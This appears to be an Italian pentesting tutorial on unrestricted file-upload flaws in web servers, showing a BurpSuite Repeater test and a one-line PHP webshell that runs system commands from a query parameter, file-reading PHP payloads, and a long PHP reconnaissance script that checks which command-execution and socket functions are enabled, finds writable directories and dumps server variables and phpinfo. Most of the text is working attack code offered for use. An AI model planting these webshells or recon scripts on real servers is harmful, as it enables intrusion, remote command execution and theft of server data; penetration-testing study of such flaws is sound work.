Questa vulnerabilità si presenta quando è possibile caricare dei file all’interno del web server senza adeguate protezioni e che oltre a questo esegua pure il contenuto del file caricato come codice legittimo permettendo ai mal intenzionati di bucare il web server.
Un metodo efficace per verificare la presenza di questa vulnerabilità è tramite BurpSuite e il Port Forwarding perchè ti permette di vedere il percorso nel quale viene caricato il file e tramite il reapeter possiamo provare ad eseguire quella pagina come nel seguente esempio:


Nel primo screenshot trovo la richiesta fatta al server dove si mostra il percorso nel quale viene caricato il file, mentre nel secondo screenshot sono nella sezione reapeter e come puoi vedere ho cambiato la richiesta in GET /files/avatars/webshell.php?command=whoami HTTP/2 perchè nel file che ho caricato ho inserito la webshell:
<?php echo system($_GET['command']); ?>che ci permette di eseguire comandi di sistema.
Possiamo anche utilizzare altri payload per guardare il contenuto dei file come per esempio:
<?php echo file_get_contents('/percorso/documento'); ?>
<?php readfile('/percorso/documento'); ?>
Oppure direttamente una reverse shell.
PHP info Server
Tramite questo script è possibile ricavare un sacco di informazioni sul server PHP, crea un report che ti permette di capire la versione, i proprietari, quali funzioni sono disabilitate, ecc.
<?php
// Non mostrare errori direttamente nel browser per non "sporcare" l'output,
// ma loggali se possibile (la configurazione del server potrebbe comunque mostrarli).
// In un contesto di pentesting, a volte è utile vedere gli errori, quindi puoi commentare le prossime due righe se preferisci.
// error_reporting(0);
// ini_set('display_errors', 0);
header('Content-Type: text/html; charset=utf-8');
?>
<!DOCTYPE html>
<html lang="it">
<head>
<meta charset="UTF-8">
<title>Informazioni Server e Restrizioni PHP</title>
<style>
body { font-family: Arial, sans-serif; margin: 20px; background-color: #f4f4f4; color: #333; }
h1, h2 { color: #333; border-bottom: 2px solid #777; padding-bottom: 5px;}
.container { background-color: #fff; padding: 20px; border-radius: 8px; box-shadow: 0 0 10px rgba(0,0,0,0.1); }
.info-block { margin-bottom: 20px; padding: 10px; border: 1px solid #ddd; border-radius: 4px; background-color: #e9e9e9;}
.info-block h2 { border-bottom: 1px solid #ccc; margin-top:0; }
.highlight { color: #d9534f; font-weight: bold; }
.good { color: #5cb85c; font-weight: bold; }
table { width: 100%; border-collapse: collapse; }
th, td { text-align: left; padding: 8px; border: 1px solid #ddd; }
th { background-color: #f0f0f0; }
pre { background-color: #eee; padding: 10px; border-radius: 4px; white-space: pre-wrap; word-wrap: break-word; }
</style>
</head>
<body>
<div class="container">
<h1>Diagnostica PHP e Restrizioni Server</h1>
<div class="info-block">
<h2>Informazioni Generali PHP e OS</h2>
<table>
<tr><th>Versione PHP</th><td><?php echo htmlspecialchars(PHP_VERSION); ?></td></tr>
<tr><th>Sistema Operativo (uname -a)</th><td><?php echo htmlspecialchars(php_uname()); ?></td></tr>
<tr><th>Utente corrente dello script</th><td><?php echo htmlspecialchars(get_current_user()); ?></td></tr>
<tr><th>UID utente corrente</th><td><?php echo htmlspecialchars(getmyuid()); ?></td></tr>
<tr><th>GID utente corrente</th><td><?php echo htmlspecialchars(getmygid()); ?></td></tr>
<tr><th>Server API (SAPI)</th><td><?php echo htmlspecialchars(php_sapi_name()); ?></td></tr>
<tr><th>Percorso `php.ini` caricato</th><td><?php echo htmlspecialchars(php_ini_loaded_file() ?: 'N/A'); ?></td></tr>
<tr><th>Directory temporanea di sistema</th><td><?php echo htmlspecialchars(sys_get_temp_dir()); ?></td></tr>
</table>
</div>
<div class="info-block">
<h2>Funzioni Disabilitate (`disable_functions`)</h2>
<?php
$disabled_functions = ini_get('disable_functions');
if ($disabled_functions) {
echo "<p>Le seguenti funzioni sono <span class='highlight'>DISABILITATE</span>:</p>";
echo "<pre>" . htmlspecialchars($disabled_functions) . "</pre>";
echo "<p>Questo impatta significativamente la possibilità di eseguire comandi di sistema o reverse shell.</p>";
} else {
echo "<p class='good'>Nessuna funzione risulta esplicitamente disabilitata tramite `disable_functions` (potrebbero esserci altre restrizioni).</p>";
}
?>
</div>
<div class="info-block">
<h2>Restrizione `open_basedir`</h2>
<?php
$open_basedir = ini_get('open_basedir');
if ($open_basedir) {
echo "<p>Accesso ai file limitato ai seguenti percorsi (<span class='highlight'>open_basedir</span> attivo):</p>";
echo "<pre>" . htmlspecialchars($open_basedir) . "</pre>";
echo "<p>PHP può accedere solo ai file e alle directory specificate qui.</p>";
} else {
echo "<p class='good'>Nessuna restrizione `open_basedir` rilevata. PHP potrebbe avere accesso all'intero filesystem (limitato dai permessi dell'utente web).</p>";
}
?>
</div>
<div class="info-block">
<h2>Verifica Funzionalità Chiave</h2>
<table>
<thead>
<tr><th>Funzionalità</th><th>Stato</th><th>Note</th></tr>
</thead>
<tbody>
<?php
$functions_to_check = [
'system' => 'Esecuzione comandi OS',
'shell_exec' => 'Esecuzione comandi OS',
'exec' => 'Esecuzione comandi OS',
'passthru' => 'Esecuzione comandi OS',
'popen' => 'Apertura pipe a processi',
'proc_open' => 'Esecuzione processi con controllo I/O',
'pcntl_exec' => 'Esecuzione programmi (PCNTL)', // Spesso disabilitato
'fsockopen' => 'Connessioni socket (TCP/UDP)',
'pfsockopen' => 'Connessioni socket persistenti',
'socket_create' => 'Creazione socket (estensione sockets)',
'curl_init' => 'Inizializzazione cURL (estensione cURL)',
'file_get_contents' => 'Lettura file/URL',
'file_put_contents' => 'Scrittura file',
'eval' => 'Esecuzione codice PHP da stringa',
'assert' => 'Controllo asserzioni (può eseguire codice)',
];
// Controlla se le funzioni sono effettivamente callable (non solo non in disable_functions)
// perché potrebbero essere state rimosse o non compilate
foreach ($functions_to_check as $func => $desc) {
$is_disabled = in_array($func, explode(',', $disabled_functions));
$is_callable = function_exists($func);
$status_text = '';
$status_class = '';
if ($is_disabled) {
$status_text = "DISABILITATA (in disable_functions)";
$status_class = 'highlight';
} elseif (!$is_callable) {
$status_text = "NON ESISTE/NON CARICABILE";
$status_class = 'highlight';
} else {
$status_text = "ABILITATA e Callable";
$status_class = 'good';
}
echo "<tr><td>" . htmlspecialchars($func) . "</td><td class='" . $status_class . "'>" . htmlspecialchars($status_text) . "</td><td>" . htmlspecialchars($desc) . "</td></tr>";
}
?>
</tbody>
</table>
</div>
<div class="info-block">
<h2>Directory Scrivibili Comuni</h2>
<?php
$writable_checks = [];
$dirs_to_check = [
'Propria directory dello script' => dirname(__FILE__),
'Directory temporanea di sistema' => sys_get_temp_dir(),
'/tmp' => '/tmp',
'/var/tmp' => '/var/tmp',
'uploads (se esiste relativa allo script)' => dirname(__FILE__) . '/uploads',
'./' => './' // Directory corrente
];
echo "<table><thead><tr><th>Directory</th><th>Percorso Assoluto</th><th>Scrivibile?</th></tr></thead><tbody>";
foreach ($dirs_to_check as $label => $dir) {
$real_dir = realpath($dir); // Ottiene il percorso assoluto, se esiste
if (!$real_dir) { // Se realpath fallisce (es. la dir non esiste) usa il percorso originale per il test
$real_dir = $dir;
}
$is_writable = @is_writable($real_dir); // Usa @ per sopprimere warning se il path non è valido per open_basedir
$status_text = $is_writable ? "<span class='good'>Sì</span>" : "<span class='highlight'>No</span>";
// Tenta di scrivere un file temporaneo per una verifica più accurata (se la dir è scrivibile)
if ($is_writable) {
$test_file = $real_dir . '/temp_writable_check_' . uniqid() . '.txt';
if (@file_put_contents($test_file, 'test') !== false) {
$status_text .= " (confermato)";
@unlink($test_file);
} else {
$status_text .= " (fallito test scrittura file)";
}
}
echo "<tr><td>" . htmlspecialchars($label) . "</td><td>" . htmlspecialchars($real_dir) . "</td><td>" . $status_text . "</td></tr>";
}
echo "</tbody></table>";
echo "<p>Nota: La verifica di scrittura potrebbe essere limitata da `open_basedir`.</p>";
?>
</div>
<div class="info-block">
<h2>Variabili d'ambiente ($_SERVER)</h2>
<p>Queste variabili possono rivelare informazioni sulla configurazione del server, percorsi, ecc.</p>
<pre><?php echo htmlspecialchars(print_r($_SERVER, true)); ?></pre>
</div>
<div class="info-block">
<h2>Informazioni Complete (`phpinfo()`)</h2>
<p>
<a href="?phpinfo=1">Clicca qui per visualizzare l'output completo di phpinfo()</a>
(Attenzione: l'output è molto lungo).
</p>
<?php
if (isset($_GET['phpinfo']) && $_GET['phpinfo'] == '1') {
echo "<hr><h2>Output phpinfo():</h2>";
phpinfo();
}
?>
</div>
</div>
</body>
</html>